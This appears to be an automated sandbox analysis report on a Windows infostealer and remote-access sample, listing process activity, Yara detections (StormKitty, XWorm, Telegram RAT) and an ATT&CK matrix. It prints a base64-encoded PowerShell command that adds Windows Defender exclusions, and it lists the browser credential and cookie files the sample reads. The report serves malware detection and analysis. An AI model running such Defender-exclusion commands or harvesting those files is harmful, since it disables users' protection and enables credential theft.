QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==			Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Users\user\AppData\Local\Temp\arndry.exe "C:\Users\user\AppData\Local\Temp\arndry.exe"			Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeqazqbzagsadabvahaaxabiadmaoqb3afcamwbqafkaswbpac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxablag4azwbpag4azqblahiaxabeaguacwbrahqabwbwafwaygazadkadwbxadmaagbzaesatwauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcagqabwbjahuabqblag4adabzafwatwbuaguarabyagkadgblac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxablag4azwbpag4azqblahiaxabkag8aywb1ag0azqbuahqacwbcae8abgblaeqacgbpahyazqauaguaeablaa==
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeqazqbzagsadabvahaaxabiadmaoqb3afcamwbqafkaswbpac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxablag4azwbpag4azqblahiaxabeaguacwbrahqabwbwafwaygazadkadwbxadmaagbzaesatwauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcagqabwbjahuabqblag4adabzafwatwbuaguarabyagkadgblac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxablag4azwbpag4azqblahiaxabkag8aywb1ag0azqbuahqacwbcae8abgblaeqacgbpahyazqauaguaeablaa==			Jump to behavior

Source: b39wW3jYKO.exe, 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Users\user\Desktop\b39wW3jYKO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Queries volume information: C:\Users\user\Documents\OneDrive.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\arndry.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Queries volume information: C:\Users\user\Documents\OneDrive.exe VolumeInformation

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arndry.exe PID: 3804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2501821797.000000000239D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arndry.exe PID: 3804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arndry.exe PID: 3804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2501821797.000000000239D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arndry.exe PID: 3804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Input Capture	23 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	541 Security Software Discovery	SMB/Windows Admin Shares	1 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	21 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	22 Software Packing	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report b39wW3jYKO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
b39wW3jYKO.exe